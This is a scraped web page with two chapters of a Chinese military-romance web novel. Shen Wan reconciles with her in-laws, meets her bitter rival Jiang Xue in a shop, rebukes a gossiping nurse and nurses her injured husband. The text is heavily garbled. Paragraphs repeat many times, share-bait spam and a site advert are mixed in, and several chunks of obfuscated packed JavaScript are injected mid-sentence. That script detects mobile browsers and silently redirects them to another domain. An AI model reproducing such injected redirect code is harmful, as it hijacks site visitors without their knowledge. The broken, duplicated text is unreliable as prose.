“不管怎么样，我还是要感谢你替我出头。”沈晚展颜一笑，杏眸弯成月牙。 **先是痴痴地望了一眼，随即慌忙低下头，耳根微微发烫：“真的不用谢……你能开心才是最重要的。” 沈晚点点头：“好，我一定会开心的。” 和**告别后，沈晚转身离去。 **站在原地，望着她渐行渐远的背影，眼中满是藏不住的眷恋与失落。 他看着她纤细的身影消失在走廊尽头，就像目送一道照进他生命又悄然离去 的光。 这时，一道刺耳的声音突然响起：“啧啧啧，人都走远了，还看着呢。” **皱着眉回头，发现是林怡宁正双臂抱胸靠在墙边，脸上带着几分讥诮和高傲的神色。 “林医生，你有事吗？”**语气冷淡。 林怡宁轻笑一声：“我只是想告诉你一个消息，你肯定还不知道。” **侧身想绕过她：“我不感兴趣，谢谢。” “别急着走啊，”林怡宁不依不饶地挡在他面前，“你先听我说完，再说感不感兴趣也来得及。” **不耐地看向她：“你到底想说什么？” 林怡宁红唇一勾，眼底闪过一丝得意：“当然是关于沈晚的了。” 听到沈晚的名字，**的眼神总算有了波动。 林怡宁敏锐地捕捉到他的变化，心底暗骂，沈晚这个狐狸精，果然到处勾搭男人！ 她左右看了看，确定走廊没人后压低声音道：“霍沉舟要和沈晚离婚了，你还不知道吧？” **本来看着林怡宁煞有其事的模样，以为她要说什么重要的事，结果听到这个，眉心又皱了起来：“你从哪听来的谣言？” “怎么是谣言？”林怡宁扬起下巴，语气笃定，“我亲耳听到的！” **想起刚才沈晚和他说的有点误会，但是已经解释清楚了，心里顿时明白了七八分。 他看向林怡宁的眼神多了几分怜悯，唇角勾起一抹讥诮的弧度：“林医生，我发现你真可怜。” 林怡宁一愣：“你什么意思？” “总是自以为是，把别人的私事当谈资。”**慢条斯理地整理了下袖口，“霍团长和沈顾问的感情轮不到外人指手画脚。” 林怡宁脸色一僵，随即冷笑道：“装什么清高？你不也惦记着沈晚吗？现在装好人了？” **懒得再和她纠缠，转身就走，临走前轻飘飘丢下一句：“与其整天盯着别人的家事，不如先治治自己的脑子。” 等**走远后，林怡宁才猛地反应过来，他是在骂自己脑子有病！ 她愤愤地跺了跺脚，咬牙切齿地低声咒骂："没出息的货！给你机会也不中用！" 另一边，沈晚从医院离开后，在附近转了一 圈也没找到顾战，她便决定自己去招待所找公婆。 部队大门口有公交车站，坐一个小时就到县里的招待所了。 等到了招待所，林静姝一开门看见沈晚站在门外，连忙热情地拉住她的手："小晚，部队和招待所离那么远，你不用每天都来的。" 沈晚笑着进屋，把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北，身边连个熟人都没有，我来陪你们说说话，也能解解闷。" 她边说边取出保温壶，"这是我熬的参茶，最养气血了。" 林静姝和霍文渊对视一眼，都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊，辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶，温热的雾气氤氲在她眉眼间。 林静姝接过茶杯，犹豫了一下，还是试探地问："小晚，你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈，我和沉舟说开了，他想和我离婚是因为不知道从听说的，自己这次的伤其实很严重，可能会影响根本，所以不想拖累我才和我提的离婚，但是我和董院长已经检查过了，他这个伤没有这么严重，是他自己多想了。” 听说看这本书的人都是很幸运的，分享后你的运气会更棒 圈也没找到顾战，她便决定自己去招待所找公婆。 部队大门口有公交车站，坐一个小时就到县里的招待所了。 等到了招待所，林静姝一开门看见沈晚站在门外，连忙热情地拉住她的手："小晚，部队和招待所离那么远，你不用每天都来的。" 沈晚笑着进屋，把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北，身边连个熟人都没有，我来陪你们说说话，也能解解闷。" 她边说边取出保温壶，"这是我熬的参茶，最养气血了。" 林静姝和霍文渊对视一眼，都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊，辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶，温热的雾气氤氲在她眉眼间。 林静姝接过茶杯，犹豫了一下，还是试探地问："小晚，你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈，我和沉舟说开了，他想和我离婚是因为不知道从听说的，自己这次的伤其实很严重，可能会影响根本，所以不想拖累我才和我提的离婚，但是我和董院长已经检查过了，他这个伤没有这么严重，是他自己多想了。” 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 圈也没找到顾战，她便决定自己去招待所找公婆。 部队大门口有公交车站，坐一个小时就到县里的招待所了。 等到了招待所，林静姝一开门看见沈晚站在门外，连忙热情地拉住她的手："小晚，部队和招待所离那么远，你不用每天都来的。" 沈晚笑着进屋，把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北，身边连个熟人都没有，我来陪你们说说话，也能解解闷。" 她边说边取出保温壶，"这是我熬的参茶，最养气血了。" 林静姝和霍文渊对视一眼，都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊，辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶，温热的雾气氤氲在她眉眼间。 林静姝接过茶杯，犹豫了一下，还是试探地问："小晚，你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈，我和沉舟说开了，他想和我离婚是因为不知道从听说的，自己这次的伤其实很严重，可能会影响根本，所以不想拖累我才和我提的离婚，但是我和董院长已经检查过了，他这个伤没有这么严重，是他自己多想了。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 圈也没找到顾战她便决定自己去招待所找公婆。 部队大门口有公交车站坐一个小时就到县里的招待所了。 等到了招待所林静姝一开门看见沈晚站在门外连忙热情地拉住她的手："小晚部队和招待所离那么远你不用每天都来的。" 沈晚笑着进屋把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16248166|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 东北身边连个熟人都没有我来陪你们说说话也能解解闷。" 她边说边取出保温壶"这是我熬的参茶最养气血了。" 林静姝和霍文渊对视一眼 霍文渊轻咳一声："小晚啊辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶温热的雾气氤氲在她眉眼间。 林静姝接过茶杯犹豫了一下还是试探地问："小晚你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈我和沉舟说开了他想和我离婚是因为不知道从听说的自己这次的伤其实很严重可能会影响根本所以不想拖累我才和我提的离婚但是我和董院长已经检查过了他这个伤没有这么严重是他自己多想了。” 听说看这本书的人都是很幸运的，分享后你的运气会更棒 圈也没找到顾战她便决定自己去招待所找公婆。 部队大门口有公交车站坐一个小时就到县里的招待所了。 等到了招待所林静姝一开门看见沈晚站在门外连忙热情地拉住她的手："小晚部队和招待所离那么远你不用每天都来的。" 沈晚笑着进屋把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北身边连个熟人都没有我来陪你们说说话也能解解闷。" 她边说边取出保温壶"这是我熬的参茶最养气血了。" 林静姝和霍文渊对视一眼都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶 林静姝接过茶杯犹豫了一下还是试探地问："小晚你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈我和沉舟说开了他想和我离婚是因为不知道从听说的自己这次的伤其实很严重可能会影响根本所以不想拖累我才和我提的离婚但是我和董院长已经检查过了他这个伤没有这么严重是他自己多想了。” 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 圈也没找到顾战，她便决定自己去招待所找公婆。 部队大门口有公交车站，坐一个小时就到县里的招待所了。 等到了招待所，林静姝一开门看见沈晚站在门外，连忙热情地拉住她的手："小晚，部队和招待所离那么远，你不用每天都来的。" 沈晚笑着进屋，把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北，身边连个熟人都没有，我来陪你们说说话，也能解解闷。" 她边说边取出保温壶，"这是我熬的参茶，最养气血了。" 林静姝和霍文渊对视一眼，都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊，辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶，温热的雾气氤氲在她眉眼间。 林静姝接过茶杯，犹豫了一下，还是试探地问："小晚，你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈，我和沉舟说开了，他想和我离婚是因为不知道从听说的，自己这次的伤其实很严重，可能会影响根本，所以不想拖累我才和我提的离婚，但是我和董院长已经检查过了，他这个伤没有这么严重，是他自己多想了。 你的朋友正在书荒，快去帮帮他吧 圈也没找到顾战她便决定自己去招待所找公婆。 部队大门口有公交车站 等到了招待所林静姝一开门看见沈晚站在门外连忙热情地拉住她的手："小晚部队和招待所离那么远你不用每天都来的。" 沈晚笑着进屋把带来的药包放在桌上："我不放心你和爸。你们俩千里迢迢来到东北身边连个熟人都没有我来陪你们说说话也能解解闷。" 她边说边取出保温壶"这是我熬的参茶最养气血了。" 林静姝和霍文渊对视一眼都从对方眼里看到了感动。 霍文渊轻咳一声："小晚啊辛苦你了。" "这有什么辛苦的。"沈晚给二老各倒了一杯茶温热的雾气氤氲在她眉眼间。 林静姝接过茶杯犹豫了一下还是试探地问："小晚你和沉舟.现在怎么样了？" 沈晚避重就轻道：“爸妈我和沉舟说开了他想和我离婚是因为不知道从听说的自己这次的伤其实很严重可能会影响根本所以不想拖累我才和我提的离婚但是我和董院长已经检查过了他这个伤没有这么严重是他自己多想了。” 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 第一百六十二章 偶遇蒋雪 林静姝听傻眼了半天只憋出来一句："他是傻子吗？不信自己媳妇竟然信别人的谣言！还要和你提离婚真把你弄丢了他后悔都来不及！" 沈晚抿唇笑了笑。 霍文渊关切地问："所以小晚你和沉舟不离婚了吧？" "不离了。" 林静姝立刻来了精神主动出主意："小晚要我说我这个儿子就是太自大了凡事都以为自己能扛从来不考虑别人的感受。他这次竟然敢和你提离婚我和他爸争争吵吵这么多年也没提过离婚这两个字！" 她越说越气："你就不要那么轻易地原谅他要装作一副心灰意冷的样子让他好好尝尝追妻的滋味！" 这倒是和沈晚的想法不谋而合。 沈晚笑道："好的妈都听您的。" 一旁的霍文渊无奈地摇了摇头。 沈晚环顾了一下招待所的房间虽然是附近最好的招待所但空间依旧有限。 "爸妈你们一直待在招待所里也太闷了"沈晚劝道"不如跟我回部队吧？小川还能陪陪你们俩。" 林静姝摆摆手："这有什么无聊的？你不是给你爸带了好几本书还给我带了毛线吗？我们还能出去逛逛到崔家去串串门一点都不闷。而且我们俩要去部队还得办通行证太麻烦了。" 霍文渊也附和："是啊小晚部队有部队的规矩我们就不去添乱了。" 沈晚又劝了几句但老两口都坚持不去部队她也就不好再强求。 从招待所出来后沈晚想到小川前两天念叨着想吃的山楂糕正好招待所附近有家老字号副食品商店她便信步走了过去。 店里飘着淡淡的糕点香沈晚径直走到糖果糕点柜台前："同志麻烦称半斤山楂糕。" 售货员包着油纸袋时沈晚无意间一抬眼突然瞥见两道熟悉的身影李丽和蒋雪正站在不远处的布匹柜台前。 李丽拿着一块大红缎子在蒋雪身上比划啧啧称赞："这料子真衬你！结婚那天穿肯定好看！" 与李丽兴致勃勃的样子不同 曾经在文工团跳舞时那种意气风发的神采消失殆尽身子瘦削得几乎撑不起衣裳眼神空洞无光整个人都透着疲 惫。 李丽举着两块料子比划："小雪，别光让我自己挑啊，你也看看，喜欢哪种？振国一会儿不就到了吗，让他给你买。" 蒋雪木然地望着面前红红绿绿的布料，忍不住扣了扣掌心：“我都不喜欢！ "那可不行，小雪，你妈特地嘱咐我，让你出来买结婚用的料子。你下个月就要结婚了，这些东西得趁早准备。" 闻言，沈晚忍不住挑了挑眉，没想到蒋家真的把曹振国保了出来，还让闺女嫁给他。 蒋雪听到"结婚"两个字，眼睛里迸射出愤恨的光，咬牙切齿道："谁稀罕嫁给他！" 李丽连忙捂住她的嘴，紧张地往身后看了看，确保曹振国还没来："小雪，这话可不能再说了！你爸妈都已经和曹家谈好彩礼陪嫁了，请柬都发到亲戚手里了。你要是反悔，你爸妈的脸往哪搁？" 蒋雪猛地甩开她的手，眼眶通红："所以他们就把我抛弃了？明知道曹振国是什么货色，还逼我嫁给他？" "哎呀，什么逼不逼的……"李丽尴尬地捋了捋头发，“反正你两都那样了，将就着过呗。 这时沈晚这边的柜员把包好的山楂糕递过来："同志，您的山楂糕。" 沈晚接过："谢谢。" 蒋雪不经意间往这边看来，正好看见沈晚，她眼中瞬间迸发出怨毒的光芒，沈晚！怎么又是她！！ 李丽还没反应过来，蒋雪已经走了过去："沈晚，真巧啊。" 沈晚淡淡看了她一眼："新婚快乐。" 这话在蒋雪听来简直是赤裸裸的挑衅。 她攥紧拳头："**！看到我这样，你是不是很得意？" 沈晚似笑非笑："我有什么好得意的？逼你嫁给曹振国的又不是我。" 听到这话，蒋雪彻底破防了："我过得这么烂，你也别想好过！我就是死也要拉你垫背！" 沈晚正要开口，一道粗哑的男声突然在蒋雪身后响起："蒋雪，你在干什么？" 蒋雪身子猛地一僵，缓缓转过身，只见曹振国正站在不远处。 他比同学聚会那时候更胖了，胡子拉碴的脸上泛着油光，不合身的西装绷在圆滚滚的肚子上，和身材高挑的蒋雪站在一起，他甚至还要矮上半个头。 蒋雪厌恶地瞥了他一眼， 别开脸没说话。 曹振国走过来一把搂住蒋雪的肩膀肥厚的手掌在她肩头揉捏："老子和你说话呢哑巴了？" 他在监狱里吃了不少苦虽然蒋家把他保了出来但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样曾经高高在上的文工团台柱子如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪深吸一口气"就出门买个布料打扮这么风骚给谁看呢？以后出门不许化妆不许喷香水听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊小雪刚才挑中了一块红绸子说是要结婚的时候穿呢你过来看看吧。" 曹振国几乎是拖着蒋雪走的像拎小鸡一样把她拽到柜台前蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上蒋雪本来就是自作自受所以她落到这步田地也是活该恶人自有恶人磨 买完山楂糕后沈晚又坐上公交车回到部队。 下午赵晓燕送来一块油光锃亮的大棒骨："妹子这是你张大哥从食堂搞来的。今天部队加餐炊事班炖了一大锅骨头汤他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水再加姜片料酒焯一遍。炖的时候放点枸杞红枣小火慢炖两个时辰汤色奶白奶白的才最补钙！" 沈晚笑着接过沉甸甸的棒骨："行我都记住了。" 你的朋友正在书荒，快去帮帮他吧 别开脸没说话。 曹振国走过来 他在监狱里吃了不少苦虽然蒋家把他保了出来但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样曾经高高在上的文工团台柱子如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪深吸一口气"就出门买个布料打扮这么风骚给谁看呢？以后出门不许化妆不许喷香水听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊小雪刚才挑中了一块红绸子说是要结婚的时候穿呢你过来看看吧。" 曹振国几乎是拖着蒋雪走的像拎小鸡一样把她拽到柜台前蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上蒋雪本来就是自作自受所以她落到这步田地也是活该恶人自有恶人磨当初蒋雪处心积虑陷害别人时就该想到会有今天的报应。 买完山楂糕后沈晚又坐上公交车回到部队。 下午赵晓燕送来一块油光锃亮的大棒骨："妹子这是你张大哥从食堂搞来的。今天部队加餐炊事班炖了一大锅骨头汤他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水再加姜片料酒焯一遍。炖的时候放点枸杞红枣小火慢炖两个时辰汤色奶白奶白的才最补钙！" 沈晚笑着接过沉甸甸的棒骨："行我都记住了。" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 别开脸没说话。 曹振国走过来，一把搂住蒋雪的肩膀，肥厚的手掌在她肩头揉捏："老子和你说话呢，哑巴了？" 他在监狱里吃了不少苦，虽然蒋家把他保了出来，但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样，曾经高高在上的文工团台柱子，如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑，露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪，深吸一口气，"就出门买个布料，打扮这么风骚给谁看呢？以后出门不许化妆，不许喷香水，听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊，小雪刚才挑中了一块红绸子，说是要结婚的时候穿呢，你过来看看吧。" 曹振国几乎是拖着蒋雪走的，像拎小鸡一样把她拽到柜台前，蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上，蒋雪本来就是自作自受，所以她落到这步田地也是活该，恶人自有恶人磨，当初蒋雪处心积虑陷害别人时，就该想到会有今天的报应。 买完山楂糕后，沈晚又坐上公交车回到部队。 下午，赵晓燕送来一块油光锃亮的大棒骨："妹子，这是你张大哥从食堂搞来的。今天部队加餐，炊事班炖了一大锅骨头汤，他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水，再加姜片料酒焯一遍。炖的时候放点枸杞红枣，小火慢炖两个时辰，汤色奶白奶白的才最补钙！" 沈晚笑着接过沉甸甸的棒骨："行，我都记住了。" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 别开脸没说话。 曹振国走过来一把搂住蒋雪的肩膀肥厚的手掌在她肩头揉捏："老子和你说话呢哑巴了？" 他在监狱里吃了不少苦虽然蒋家把他保了出来但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样曾经高高在上的文工团台柱子如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪深吸一口气"就出门买个布料打扮这么风骚给谁看呢？以后出门不许化妆不许喷香水听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊小雪刚才挑中了一块红绸子说是要结婚的时候穿呢你过来看看吧。" 曹振国几乎是拖着蒋雪走的像拎小鸡一样把她拽到柜台前蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上蒋雪本来就是自作自受所以她落到这步田地也是活该 买完山楂糕后沈晚又坐上公交车回到部队。 下午赵晓燕送来一块油光锃亮的大棒骨："妹子这是你张大哥从食堂搞来的。今天部队加餐炊事班炖了一大锅骨头汤他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水再加姜片料酒焯一遍。炖的时候放点枸杞红枣小火慢炖两个时辰汤色奶白奶白的才最补钙！" 沈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他在监狱里吃了不少苦虽然蒋家把他保了出来但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样曾经高高在上的文工团台柱子如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪深吸一口气"就出门买个布料打扮这么风骚给谁看呢？以后出门不许化妆不许喷香水听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊小雪刚才挑中了一块红绸子说是要结婚的时候穿呢你过来看看吧。" 曹振国几乎是拖着蒋雪走的像拎小鸡一样把她拽到柜台前蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上蒋雪本来就是自作自受所以她落到这步田地也是活该恶人自有恶人磨当初蒋雪处心积虑陷害别人时就该想到会有今天的报应。 买完山楂糕后沈晚又坐上公交车回到部队。 下午赵晓燕送来一块油光锃亮的大棒骨："妹子这是你张大哥从食堂搞来的。今天部队加餐炊事班炖了一大锅骨头汤他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水再加姜片料酒焯一遍。炖的时候放点枸杞红枣小火慢炖两个时辰 沈晚笑着接过沉甸甸的棒骨："行我都记住了。" 听说看这本书的人都是很幸运的，分享后你的运气会更棒 别开脸没说话。 曹振国走过来一把搂住蒋雪的肩膀肥厚的手掌在她肩头揉捏："老子和你说话呢哑巴了？" 他在监狱里吃了不少苦虽然蒋家把他保了出来但心里早就扭曲了。 现在最喜欢看的就是蒋雪这副敢怒不敢言的顺从模样曾经高高在上的文工团台柱子如今还不是任他拿捏？ 蒋雪在他怀里挣扎："你松开我！" 曹振国咧嘴笑了笑露出一口黄牙："我就不松开。" 他边说边把一张油腻的胖脸凑近蒋雪深吸一口气"就出门买个布料 小说的域名ｃａｉｘｓ．ｃom?(请来才 小说 看最新章节 完整章节)打扮这么风骚给谁看呢？以后出门不许化妆不许喷香水听见没？" 蒋雪气得浑身发抖："曹振国！你混蛋！" 李丽连忙过来打圆场："振国啊小雪刚才挑中了一块红绸子说是要结婚的时候穿呢你过来看看吧。" 曹振国几乎是拖着蒋雪走的像拎小鸡一样把她拽到柜台前蒋雪临走前还死命瞪了一眼沈晚。 沈晚完全没把这个小插曲放在心上蒋雪本来就是自作自受所以她落到这步田地也是活该恶人自有恶人磨当初蒋雪处心积虑陷害别人时就该想到会有今天的报应。 买完山楂糕后沈晚又坐上公交车回到部队。 下午赵晓燕送来一块油光锃亮的大棒骨："妹子这是你张大哥从食堂搞来的。今天部队加餐炊事班炖了一大锅骨头汤他特意留了根最大的给霍团长补补身体。" "这棒骨得先用冷水泡两个小时去血水再加姜片料酒焯一遍。炖的时候放点枸杞红枣小火慢炖两个时辰汤色奶白奶白的才最补钙！" 沈晚笑着接过沉甸甸的棒骨："行我都记住了。" 你身边有不少朋友还没看到本章呢，快去给他们剧透吧 第一百六十三章 我这人心眼特别小 赵晓燕又叮嘱道："一定要把骨髓油都炖出来！霍团长伤到腰骨，最需要这个补了。老家管这叫''以形补形''！" “记住了赵姐。” 赵晓燕心疼地摸了摸沈晚的小脸："我怎么感觉你最近瘦了？本来脸就巴掌大，现在下巴更尖了，眼底下都泛青了。" 沈晚下意识摸了摸脸："瘦了吗？没有吧？" "怎么没有！"赵晓燕嗔怪道，"你说你每天三头跑，家里要照顾小川，医院有病人，外面还要操心两位老人，这么连轴转，铁打的身子也扛不住啊！要不然霍团长那边请个护工也行，你别把自己累垮了。" 沈晚摇摇头："护工就算了吧，沉舟现在正是恢复的关键期，饮食针灸都得精细着来。" 赵晓燕闻言更心疼了："那你也要注意自己的身体啊！不能霍团长还没好，你就把自己的身体搞垮了。要是你也倒下了，这一大家子可怎么办？" 沈晚笑着答应："放心吧赵姐，我心里有数。" 晚上，她把赵晓燕送的大棒骨仔细炖上，熬了满满一锅奶白色的浓汤，提着保温桶去医院时，天色已经暗了下来。 此时的医院走廊灯光昏黄，消毒水味混合着各种药味弥漫在空气中，穿着白大褂的医护人员行色匆匆，病房里不时传来病人的呻吟和家属的低泣。 沈晚低头走路，拐角处，她不小心被一个小护士撞到了胳膊。 对方连忙道歉，抬头一看却惊喜道："沈顾问！" 沈晚也笑了："静怡，最近怎么样？有一段时间没见到你了。" 刘静怡抿唇笑了笑："我前段时间跟着护士长去灾区支援了，今天刚回来。" 她胸前还别着"救灾先进个人"的奖章。 沈晚眼含赞许："真了不起，这次经历很宝贵吧？" "嗯！学到很多实战经验。"刘静怡突然想起什么，"对了，听说霍团长受伤了？他没事吧？伤严不严重？" 沈晚摇摇头："已经在恢复了，不算严重。" 刘静怡松了口气："那就好。您这是去找霍团长吧？那我就先走了，护士长让我去领明天要用的输液器。" “嗯，去吧。” 沈晚走到三楼，她脚步声一向很轻。 病房门口有几个护士正在议论， 并没有注意到她的到来。 "霍团长这个伤位置太危险了，很容易就会影响那方面功能。" "啊？那还挺可惜的，"另一个短发护士接话，"霍团长长得那么帅，和沈顾问也算是天造地设的一对。" "我觉得不会，"年纪稍长的护士摇头，"哪有那么巧的事？霍团长身体素质那么好……" 这些不带恶意的讨论，沈晚并没有放在心上。 但这群护士中央突然响起胡春芳尖细的嗓音："那沈顾问长得跟狐狸精似的，要是霍团长真不行了，我觉得她肯定不甘心守一辈子活寡，估计得和霍团长离。" 其他护士听到胡春芳的恶意揣测，面面相觑，都不敢接话。 胡春芳也不介意，还要说点什么，沈晚已经走过来了。 "小胡护士。看来你很关心我的家事？" 胡春芳没想到这么巧，被沈晚抓包了，有点心虚地说：“沈顾问，我们就是随便聊聊。 "随便聊聊？"沈晚声音冷了下来，"我看你好像很懂的样子，散布谣言破坏军队稳定，诋毁现役军官声誉，这放在《纪律条令》里够记大过了吧？" 胡春芳脸色瞬间惨白："对不起沈顾问，我就是嘴贱胡说八道……我保证再也没有下次了！" “不好意思，我不接受口头道歉，根据《纪律条令》，散布谣言诋毁军属，需要接受正式调查。 胡春芳吓得腿都软了："沈顾问！我就是个小实习护士，您大人有大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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沈晚猝不及防，只觉得一股鲜香的汤汁被渡进口中，伴随着男人得逞的低笑。 "你！"沈晚慌忙推开他，脸颊绯红，"霍沉舟你耍流氓！" 霍沉舟舔了舔唇角，眼底满是笑意："夫妻之间怎么能叫耍流氓？这叫有福同享。" 沈晚忍不住磨了磨牙，有福同享这个词是这么用的吗？！ "霍团长，您还真是贵人多忘事。"她冷着脸擦嘴角，"忘了前两天是怎么说的了？要和我离婚的人，现在这样合适吗？" 霍沉舟的眼神突然黯淡下来："如果当时有别的选择，我绝对不会和你提离婚。如果我真的不举了，你还这么年轻，这么美好……" 他的声音低沉沙哑："我怎么能眼睁睁看着你守一辈子活寡？你应该有更好的人生，而不是被一个废人拖累。" 沈晚的心猛地揪紧，看着男人泛红的眼眶，她差点就心软了，但是想到自己的心碎难过，她还是决定要再晾晾这男人，不然他根本意识不到问题的严重性！ 沈晚轻吸一口气，压下心中的酸涩："赶紧喝汤吧，一会儿我要给你做腰椎康复训练。" 霍沉舟见小女人依旧对自己不冷不热，虽然有些失落，但还是顺从地点头："好。" 喝完汤后，沈晚扶着他平躺在康复垫上。 她跪坐在他身侧，手法专业地按摩着他腰部的肌肉："先放松，肌肉太紧张会影响训练效果。" 她的指尖带着恰到好处的力道，霍沉舟忍不住痛呼一声。 "疼也得忍着。"沈晚语气平静，"腰椎骨折后最重要的是核心肌群重建。现在开始做臀桥，双腿弯曲，用腰部力量把骨盆抬起来，保持五秒。" 霍沉舟依言照做，额角瞬间渗出细汗，骨折处的剧痛让他脸色发白，但他咬紧牙关没有出声。 "很好，"沈晚伸手托住他的后腰，"接下来是死虫式，四肢朝天，慢慢交替伸展对侧手脚，保持腰部稳定。" 接下来就是漫长的康复训练。 明明是寒 冬腊月，但霍沉舟硬是疼得病号服都被冷汗浸透了，布料紧紧黏在后背上，勾勒出紧绷的肌肉线条。 沈晚无奈，只好又取来干净病号服："把湿衣服换下来，别着凉了。" 换衣服时，霍沉舟灼热的眼神始终追随着她。 沈晚只能尽量不和他对视，她太清楚现在这男人的眼神了，简直像要把她拆吃入腹似的。 换好衣服后，沈晚就要走。 霍沉舟连忙拉住她的衣角："阿晚，今天晚上可不可以留下来陪我？"他指了指墙角的陪护床，"这里能睡人。" 沈晚挑眉："你儿子还在家里呢，我得回去了。" "哦.好吧。"霍沉舟悻悻地松开手，他是真的完全忘了还有个儿子这回事。 第二天，沈晚还没出门，就被周卫国派来的勤务兵叫走了。 等到了周卫国的办公室，沈晚规规矩矩地站在办公桌前。 杨雪梅坐在旁边的沙发上，看见沈晚一直站着，主动招呼道："小沈，别光站着了，过来坐。" 周卫国轻咳一声，沈晚摇了摇头："不用了杨主任，我站着就行。" 杨雪梅不由瞪了丈夫一眼："你这是干嘛？还想体罚小沈啊？" 周卫国无奈："我哪是体罚她，我是有话要问。" 杨雪梅催促："那你就快问啊！" 周卫国是个十足的妻奴，闻言只好看向沈晚："小沈，你上次来找我不是说，要和沉舟离婚吗？离婚申请书我都给你批了，那沉舟签字了吗？" "报告**，还没有。" "为什么？"周卫国皱眉，" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 